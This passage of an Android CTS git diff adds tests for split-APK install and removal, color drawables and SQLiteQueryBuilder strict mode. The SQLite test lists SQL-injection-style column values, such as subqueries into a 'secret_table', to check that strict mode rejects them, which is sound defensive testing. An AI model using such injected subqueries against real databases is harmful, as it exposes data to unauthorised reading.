+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsUninstall() throws Exception {
+ installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ uninstallSplits(TEST_APP_PACKAGE, new String[]{"config.hdpi"});
+ assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ uninstallSplits(TEST_APP_PACKAGE, new String[]{"config.xxxhdpi", "config.xhdpi"});
+ assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsBatchUninstall() throws Exception {
+ installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ uninstallSplitsBatch(TEST_APP_PACKAGE, new String[]{"config.hdpi"});
+ assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ uninstallSplitsBatch(TEST_APP_PACKAGE, new String[]{"config.xxxhdpi", "config.xhdpi"});
+ assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsRemove() throws Exception {
+ installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+
+ String sessionId = createUpdateSession(TEST_APP_PACKAGE);
+ removeSplits(sessionId, new String[]{"config.hdpi"});
+ commitSession(sessionId);
+ assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+
+ sessionId = createUpdateSession(TEST_APP_PACKAGE);
+ removeSplits(sessionId, new String[]{"config.xxxhdpi", "config.xhdpi"});
+ commitSession(sessionId);
+ assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsBatchRemove() throws Exception {
+ installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+
+ String sessionId = createUpdateSession(TEST_APP_PACKAGE);
+ removeSplitsBatch(sessionId, new String[]{"config.hdpi"});
+ commitSession(sessionId);
+ assertEquals("base, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+
+ sessionId = createUpdateSession(TEST_APP_PACKAGE);
+ removeSplitsBatch(sessionId, new String[]{"config.xxxhdpi", "config.xhdpi"});
+ commitSession(sessionId);
+ assertEquals("base, config.mdpi, config.xxhdpi", getSplits(TEST_APP_PACKAGE));
+ }
+
+ private String createUpdateSession(String packageName) throws IOException {
+ return createSession("-p " + packageName);
+ }
+
+ private String createSession(String arg) throws IOException {
+ final String prefix = "Success: created install session [";
+ final String suffix = "]\n";
+ final String commandResult = executeShellCommand("pm install-create " + arg);
+ assertTrue(commandResult, commandResult.startsWith(prefix));
+ assertTrue(commandResult, commandResult.endsWith(suffix));
+ return commandResult.substring(prefix.length(), commandResult.length() - suffix.length());
+ }
+
+ private void addSplits(String sessionId, String[] splitNames) throws IOException {
+ for (String splitName : splitNames) {
+ File file = new File(splitName);
+ assertEquals("Success: streamed " + file.length() + " bytes\n",
+ executeShellCommand("pm install-write " + sessionId + " " + file.getName() + " "
+ + splitName));
+ }
+ }
+
+ private void addSplitsStdIn(String sessionId, String[] splitNames, String args)
+ throws IOException {
+ for (String splitName : splitNames) {
+ File file = new File(splitName);
+ assertEquals("Success: streamed " + file.length() + " bytes\n",
+ executeShellCommand(
+ "pm install-write -S " + file.length() + " " + sessionId + " "
+ + file.getName() + " " + args, file));
+ }
+ }
+
+ private void removeSplits(String sessionId, String[] splitNames) throws IOException {
+ for (String splitName : splitNames) {
+ assertEquals("Success\n",
+ executeShellCommand("pm install-remove " + sessionId + " " + splitName));
+ }
+ }
+
+ private void removeSplitsBatch(String sessionId, String[] splitNames) throws IOException {
+ assertEquals("Success\n", executeShellCommand(
+ "pm install-remove " + sessionId + " " + String.join(" ", splitNames)));
+ }
+
+ private void commitSession(String sessionId) throws IOException {
+ assertEquals("Success\n", executeShellCommand("pm install-commit " + sessionId));
+ }
+
+ private boolean isAppInstalled(String packageName) throws IOException {
+ final String commandResult = executeShellCommand("pm list packages");
+ final int prefixLength = "package:".length();
+ return Arrays.stream(commandResult.split("\\r?\\n"))
+ .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+ }
+
+ private String getSplits(String packageName) throws IOException {
+ final String commandResult = executeShellCommand("pm dump " + packageName);
+ final String prefix = " splits=[";
+ final int prefixLength = prefix.length();
+ Optional<String> maybeSplits = Arrays.stream(commandResult.split("\\r?\\n"))
+ .filter(line -> line.startsWith(prefix)).findFirst();
+ if (!maybeSplits.isPresent()) {
+ return null;
+ }
+ String splits = maybeSplits.get();
+ return splits.substring(prefixLength, splits.length() - 1);
+ }
+
+ private static String createApkPath(String baseName) {
+ return TEST_APK_PATH + baseName;
+ }
+
+ private void installPackage(String baseName) throws IOException {
+ assertEquals("Success\n",
+ executeShellCommand("pm install -t -g " + createApkPath(baseName)));
+ }
+
+ private void installPackageStdIn(String baseName) throws IOException {
+ File file = new File(createApkPath(baseName));
+ assertEquals("Success\n",
+ executeShellCommand("pm install -t -g -S " + file.length(), file));
+ }
+
+ private void installSplits(String[] baseNames) throws IOException {
+ String[] splits = Arrays.stream(baseNames).map(
+ baseName -> createApkPath(baseName)).toArray(String[]::new);
+ String sessionId = createSession(TEST_APP_PACKAGE);
+ addSplits(sessionId, splits);
+ commitSession(sessionId);
+ }
+
+ private void installSplitsStdIn(String[] baseNames, String args) throws IOException {
+ String[] splits = Arrays.stream(baseNames).map(
+ baseName -> createApkPath(baseName)).toArray(String[]::new);
+ String sessionId = createSession(TEST_APP_PACKAGE);
+ addSplitsStdIn(sessionId, splits, args);
+ commitSession(sessionId);
+ }
+
+ private void installSplitsBatch(String[] baseNames) throws IOException {
+ String[] splits = Arrays.stream(baseNames).map(
+ baseName -> createApkPath(baseName)).toArray(String[]::new);
+ assertEquals("Success\n",
+ executeShellCommand("pm install -t -g " + String.join(" ", splits)));
+ }
+
+ private void uninstallPackage(String packageName) throws IOException {
+ assertEquals("Success\n", executeShellCommand("pm uninstall " + packageName));
+ }
+
+ private void uninstallSplits(String packageName, String[] splitNames) throws IOException {
+ for (String splitName : splitNames) {
+ assertEquals("Success\n",
+ executeShellCommand("pm uninstall " + packageName + " " + splitName));
+ }
+ }
+
+ private void uninstallSplitsBatch(String packageName, String[] splitNames) throws IOException {
+ assertEquals("Success\n", executeShellCommand(
+ "pm uninstall " + packageName + " " + String.join(" ", splitNames)));
+ }
+}
+
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 2c4d0067..d0e24c6 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -871,7 +871,7 @@
return;
}
PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
- PackageManager.MATCH_APEX);
+ PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
assertShimApexInfoIsCorrect(packageInfo);
}
@@ -924,7 +924,7 @@
return;
}
List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
- PackageManager.MATCH_APEX);
+ PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
List<PackageInfo> shimApex = installedPackages.stream().filter(
packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
Collectors.toList());
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 7d0a276..81116e5 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -35,7 +35,6 @@
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.os.LocaleList;
-import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.AttributeSet;
import android.util.DisplayMetrics;
@@ -46,8 +45,6 @@
import android.view.View;
import android.view.WindowManager;
-import androidx.test.InstrumentationRegistry;
-
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
@@ -338,6 +335,60 @@
assertNull(mResources.getDrawable(R.drawable.fake_image_will_not_decode));
}
+ public void testGetDrawable_ColorResource() {
+ final Drawable drawable = mResources.getDrawable(R.color.testcolor1, null);
+ assertTrue(drawable instanceof ColorDrawable);
+ assertEquals(
+ mResources.getColor(R.color.testcolor1, null),
+ ((ColorDrawable) drawable).getColor()
+ );
+ }
+
+ public void testGetDrawable_ColorStateListResource() {
+ final Drawable drawable = mResources.getDrawable(R.color.testcolor, null);
+ assertTrue(drawable instanceof ColorStateListDrawable);
+
+ final ColorStateList colorStateList = mResources.getColorStateList(
+ R.color.testcolor, null);
+ assertEquals(
+ colorStateList.getDefaultColor(),
+ ((ColorStateListDrawable) drawable).getColorStateList().getDefaultColor());
+ }
+
+ public void testGetDrawable_ColorStateListConfigurations() {
+ final Configuration dayConfiguration = new Configuration(mResources.getConfiguration());
+ final Configuration nightConfiguration = new Configuration(mResources.getConfiguration());
+
+ dayConfiguration.uiMode = dayConfiguration.uiMode
+ & (~Configuration.UI_MODE_NIGHT_MASK)
+ | Configuration.UI_MODE_NIGHT_NO;
+
+ nightConfiguration.uiMode = nightConfiguration.uiMode
+ & (~Configuration.UI_MODE_NIGHT_MASK)
+ | Configuration.UI_MODE_NIGHT_YES;
+
+ final ColorStateListDrawable dayDrawable = (ColorStateListDrawable) getContext()
+ .createConfigurationContext(dayConfiguration)
+ .getResources()
+ .getDrawable(R.color.testcolor_daynight, null);
+
+ final ColorStateListDrawable nightDrawable = (ColorStateListDrawable) getContext()
+ .createConfigurationContext(nightConfiguration)
+ .getResources()
+ .getDrawable(R.color.testcolor_daynight, null);
+
+ assertEquals(
+ mResources.getColor(android.R.color.white, null),
+ dayDrawable.getColorStateList().getDefaultColor());
+
+ assertEquals(
+ mResources.getColor(android.R.color.black, null),
+ nightDrawable.getColorStateList().getDefaultColor());
+
+ assertEquals(ActivityInfo.CONFIG_UI_MODE, dayDrawable.getChangingConfigurations());
+ assertEquals(ActivityInfo.CONFIG_UI_MODE, nightDrawable.getChangingConfigurations());
+ }
+
public void testGetDrawable_StackOverflowErrorDrawable() {
try {
mResources.getDrawable(R.drawable.drawable_recursive);
@@ -958,14 +1009,12 @@
mResources.getFont(R.font.sample_bolditalic_family).getStyle());
}
- // TODO Figure out why it fails in the instant mode.
- @AppModeFull
- public void testComplextColorDrawableAttrInflation() {
- Context context = InstrumentationRegistry.getTargetContext();
- LayoutInflater layoutInflater = (LayoutInflater) context.getSystemService(
+ public void testComplexColorDrawableAttributeInflation() {
+ final LayoutInflater layoutInflater = (LayoutInflater) getContext().getSystemService(
Context.LAYOUT_INFLATER_SERVICE);
- View view = layoutInflater.inflate(R.layout.complex_color_drawable_attr_layout, null);
+ final View view = layoutInflater.inflate(
+ R.layout.complex_color_drawable_attr_layout, null);
assertTrue(view.getBackground() instanceof ColorStateListDrawable);
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 2475af8..f197968 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -40,6 +40,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
@@ -48,6 +49,8 @@
@RunWith(AndroidJUnit4.class)
public class SQLiteQueryBuilderTest {
private SQLiteDatabase mDatabase;
+ private SQLiteQueryBuilder mStrictBuilder;
+
private final String TEST_TABLE_NAME = "test";
private final String EMPLOYEE_TABLE_NAME = "employee";
private static final String DATABASE_FILE = "database_test.db";
@@ -59,6 +62,9 @@
context.deleteDatabase(DATABASE_FILE);
mDatabase = Objects.requireNonNull(
context.openOrCreateDatabase(DATABASE_FILE, Context.MODE_PRIVATE, null));
+
+ createEmployeeTable();
+ createStrictQueryBuilder();
}
@After
@@ -238,8 +244,6 @@
@Test
public void testQuery() {
- createEmployeeTable();
-
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
Cursor cursor = sqliteQueryBuilder.query(mDatabase,
@@ -314,8 +318,6 @@
@Test
public void testCancelableQuery_WhenNotCanceled_ReturnsResultSet() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -328,8 +330,6 @@
@Test
public void testCancelableQuery_WhenCanceledBeforeQuery_ThrowsImmediately() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -347,8 +347,6 @@
@Test
public void testCancelableQuery_WhenCanceledAfterQuery_ThrowsWhenExecuted() {
- createEmployeeTable();
-
CancellationSignal cancellationSignal = new CancellationSignal();
SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
sqliteQueryBuilder.setTables("Employee");
@@ -368,8 +366,6 @@
@Test
public void testCancelableQuery_WhenCanceledDueToContention_StopsWaitingAndThrows() {
- createEmployeeTable();
-
for (int i = 0; i < 5; i++) {
final CancellationSignal cancellationSignal = new CancellationSignal();
final Semaphore barrier1 = new Semaphore(0);
@@ -504,8 +500,6 @@
@Test
public void testUpdate() throws Exception {
- createEmployeeTable();
-
final ContentValues values = new ContentValues();
values.put("name", "Anonymous");
values.put("salary", 0);
@@ -525,8 +519,6 @@
@Test
public void testDelete() throws Exception {
- createEmployeeTable();
-
{
final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
qb.setTables("employee");
@@ -544,12 +536,7 @@
@Test
public void testStrictQuery() throws Exception {
- createEmployeeTable();
-
- final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
- qb.setTables("employee");
- qb.setStrict(true);
- qb.appendWhere("month=2");
+ final SQLiteQueryBuilder qb = mStrictBuilder;
// Should normally only be able to see one row
try (Cursor c = qb.query(mDatabase, null, null, null, null, null, null)) {
@@ -578,16 +565,10 @@
@Test
public void testStrictUpdate() throws Exception {
- createEmployeeTable();
+ final SQLiteQueryBuilder qb = mStrictBuilder;
final ContentValues values = new ContentValues();
values.put("name", "Anonymous");
- values.put("salary", 0);
-
- final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
- qb.setTables("employee");
- qb.setStrict(true);
- qb.appendWhere("month=2");
// Should normally only be able to update one row
assertEquals(1, qb.update(mDatabase, values, null, null));
@@ -614,10 +595,7 @@
@Test
public void testStrictDelete() throws Exception {
- final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
- qb.setTables("employee");
- qb.setStrict(true);
- qb.appendWhere("month=2");
+ final SQLiteQueryBuilder qb = mStrictBuilder;
// Should normally only be able to update one row
createEmployeeTable();
@@ -647,6 +625,186 @@
}
}
+ private static final String[] COLUMNS_VALID = new String[] {
+ "_id",
+ };
+
+ private static final String[] COLUMNS_INVALID = new String[] {
+ "salary",
+ "MAX(salary)",
+ "undefined",
+ "(secret_column IN secret_table)",
+ "(SELECT secret_column FROM secret_table)",
+ };
+
+ @Test
+ public void testStrictQueryProjection() throws Exception {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ new String[] { column }, null, null, null, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ new String[] { column }, null, null, null, null, null, null);
+ }
+ }
+
+ @Test
+ public void testStrictQueryWhere() throws Exception {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, column + ">0", null, null, null, null, null);
+ assertStrictQueryValid(
+ null, "_id>" + column, null, null, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, column + ">0", null, null, null, null, null);
+ assertStrictQueryInvalid(
+ null, "_id>" + column, null, null, null, null, null);
+ }
+ }
+
+ @Test
+ public void testStrictQueryGroupBy() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, column, null, null, null);
+ assertStrictQueryValid(
+ null, null, null, "_id," + column, null, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, column, null, null, null);
+ assertStrictQueryInvalid(
+ null, null, null, "_id," + column, null, null, null);
+ }
+ }
+
+ @Test
+ public void testStrictQueryHaving() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, "_id", column, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, "_id", column, null, null);
+ }
+ }
+
+ @Test
+ public void testStrictQueryOrderBy() {
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryValid(
+ null, null, null, null, null, column, null);
+ assertStrictQueryValid(
+ null, null, null, null, null, column + " ASC", null);
+ assertStrictQueryValid(
+ null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, column, null);
+ assertStrictQueryInvalid(
+ null, null, null, null, null, column + " ASC", null);
+ assertStrictQueryInvalid(
+ null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+ }
+ }
+
+ @Test
+ public void testStrictQueryLimit() {
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "32");
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "0,32");
+ assertStrictQueryValid(
+ null, null, null, null, null, null, "32 OFFSET 0");
+
+ for (String column : COLUMNS_VALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, null, column);
+ }
+ for (String column : COLUMNS_INVALID) {
+ assertStrictQueryInvalid(
+ null, null, null, null, null, null, column);
+ }
+ }
+
+ @Test
+ public void testStrictInsertValues() throws Exception {
+ final ContentValues values = new ContentValues();
+ for (String column : COLUMNS_VALID) {
+ values.clear();
+ values.put(column, 42);
+ assertStrictInsertValid(values);
+ }
+ for (String column : COLUMNS_INVALID) {
+ values.clear();
+ values.put(column, 42);
+ assertStrictInsertInvalid(values);
+ }
+ }
+
+ @Test
+ public void testStrictUpdateValues() throws Exception {
+ final ContentValues values = new ContentValues();
+ for (String column : COLUMNS_VALID) {
+ values.clear();
+ values.put(column, 42);
+ assertStrictUpdateValid(values, null, null);
+ }
+ for (String column : COLUMNS_INVALID) {
+ values.clear();
+ values.put(column, 42);
+ assertStrictUpdateInvalid(values, null, null);
+ }
+ }
+
+ private void assertStrictInsertValid(ContentValues values) {
+ mStrictBuilder.insert(mDatabase, values);
+ }
+
+ private void assertStrictInsertInvalid(ContentValues values) {
+ try {
+ mStrictBuilder.insert(mDatabase, values);
+ fail(Arrays.asList(values).toString());
+ } catch (Exception expected) {
+ }
+ }
+
+ private void assertStrictUpdateValid(ContentValues values, String selection,
+ String[] selectionArgs) {
+ mStrictBuilder.update(mDatabase, values, selection, selectionArgs);
+ }
+
+ private void assertStrictUpdateInvalid(ContentValues values, String selection,
+ String[] selectionArgs) {
+ try {
+ mStrictBuilder.update(mDatabase, values, selection, selectionArgs);
+ fail(Arrays.asList(values, selection, selectionArgs).toString());
+ } catch (Exception expected) {
+ }
+ }
+
+ private void assertStrictQueryValid(String[] projectionIn, String selection,
+ String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+ try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit, null)) {
+ }
+ }
+
+ private void assertStrictQueryInvalid(String[] projectionIn, String selection,
+ String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+ try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit, null)) {
+ fail(Arrays.asList(projectionIn, selection, selectionArgs,
+ groupBy, having, sortOrder, limit).toString());
+ } catch (Exception expected) {
+ }
+ }
+
private void createEmployeeTable() {
mDatabase.execSQL("DROP TABLE IF EXISTS employee;");
mDatabase.execSQL("CREATE TABLE employee (_id INTEGER PRIMARY KEY, " +
@@ -664,4 +822,19 @@
mDatabase.execSQL("INSERT INTO employee (name, month, salary) " +
"VALUES ('Jim', '3', '3500');");
}
+
+ private void createStrictQueryBuilder() {
+ mStrictBuilder = new SQLiteQueryBuilder();
+ mStrictBuilder.setTables("employee");
+ mStrictBuilder.setStrict(true);
+ mStrictBuilder.setStrictColumns(true);
+ mStrictBuilder.setStrictGrammar(true);
+ mStrictBuilder.appendWhere("month=2");
+
+ final Map<String, String> projectionMap = new HashMap<>();
+ projectionMap.put("_id", "_id");
+ projectionMap.put("name", "name");
+ projectionMap.put("month", "month");
+ mStrictBuilder.setProjectionMap(projectionMap);
+ }
}
diff --git a/tests/tests/dpi/OWNERS b/tests/tests/dpi/OWNERS
new file mode 100644
index 0000000..6d63a63
--- /dev/null
+++ b/tests/tests/dpi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25700
+adamp@google.com
diff --git a/tests/tests/drm/AndroidTest.xml b/tests/tests/drm/AndroidTest.xml
index be9e45b..594997f 100644
--- a/tests/tests/drm/AndroidTest.xml
+++ b/tests/tests/drm/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDrmTestCases.apk" />
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
index 95433a4..1133eaf 100644
--- a/tests/tests/dynamic_linker/AndroidTest.xml
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="bionic" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
diff --git a/tests/tests/effect/AndroidTest.xml b/tests/tests/effect/AndroidTest.xml
index 87a3165..4364d85 100644
--- a/tests/tests/effect/AndroidTest.xml
+++ b/tests/tests/effect/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsEffectTestCases.apk" />
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index 742ce4b..8549be8 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- This module tries to bind to services in another package, which is not valid for instant -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsExternalServiceService.apk" />
diff --git a/tests/tests/externalservice/OWNERS b/tests/tests/externalservice/OWNERS
new file mode 100644
index 0000000..210a568
--- /dev/null
+++ b/tests/tests/externalservice/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 76427
+maco@google.com
+narayan@google.com
diff --git a/tests/tests/gesture/OWNERS b/tests/tests/gesture/OWNERS
new file mode 100644
index 0000000..6d63a63
--- /dev/null
+++ b/tests/tests/gesture/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25700
+adamp@google.com
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
index beed115..9ed18c2 100644
--- a/tests/tests/graphics/Android.bp
+++ b/tests/tests/graphics/Android.bp
@@ -28,6 +28,7 @@
"ctstestrunner-axt",
"androidx.annotation_annotation",
"junit",
+ "junit-params",
"testng",
"androidx.core_core",
],
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 5e22d59..82abb58 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -44,7 +44,11 @@
<activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
android:theme="@style/WhiteBackgroundNoWindowAnimation"
- android:screenOrientation="locked"/>
+ android:screenOrientation="locked"/>
+ <provider
+ android:name=".EmptyProvider"
+ android:exported="true"
+ android:authorities="android.graphics.cts.assets"/>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="android.graphics.cts.fileprovider"
diff --git a/tests/tests/graphics/assets/passthrough_fsh.glsl b/tests/tests/graphics/assets/shaders/passthrough_fsh.glsl
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_fsh.glsl
rename to tests/tests/graphics/assets/shaders/passthrough_fsh.glsl
diff --git a/tests/tests/graphics/assets/passthrough_fsh.spv b/tests/tests/graphics/assets/shaders/passthrough_fsh.spv
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_fsh.spv
rename to tests/tests/graphics/assets/shaders/passthrough_fsh.spv
Binary files differ
diff --git a/tests/tests/graphics/assets/passthrough_vsh.glsl b/tests/tests/graphics/assets/shaders/passthrough_vsh.glsl
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_vsh.glsl
rename to tests/tests/graphics/assets/shaders/passthrough_vsh.glsl
diff --git a/tests/tests/graphics/assets/passthrough_vsh.spv b/tests/tests/graphics/assets/shaders/passthrough_vsh.spv
similarity index 100%
rename from tests/tests/graphics/assets/passthrough_vsh.spv
rename to tests/tests/graphics/assets/shaders/passthrough_vsh.spv
Binary files differ
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index 525030c..7092b86 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -647,7 +647,7 @@
{
AAsset *vertFile =
AAssetManager_open(AAssetManager_fromJava(env, assetMgr),
- "passthrough_vsh.spv", AASSET_MODE_BUFFER);
+ "shaders/passthrough_vsh.spv", AASSET_MODE_BUFFER);
ASSERT(vertFile);
size_t vertShaderLength = AAsset_getLength(vertFile);
std::vector<uint8_t> vertShader;
@@ -658,7 +658,7 @@
AAsset *pixelFile =
AAssetManager_open(AAssetManager_fromJava(env, assetMgr),
- "passthrough_fsh.spv", AASSET_MODE_BUFFER);
+ "shaders/passthrough_fsh.spv", AASSET_MODE_BUFFER);
ASSERT(pixelFile);
size_t pixelShaderLength = AAsset_getLength(pixelFile);
std::vector<uint8_t> pixelShader;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
index d44c14f..beecac0 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_BitmapTest.cpp
@@ -37,7 +37,7 @@
ASSERT_EQ(format, info.format);
}
-static void validateNdkAccessAfterRecycle(JNIEnv* env, jclass, jobject jbitmap) {
+static void validateNdkAccessFails(JNIEnv* env, jclass, jobject jbitmap) {
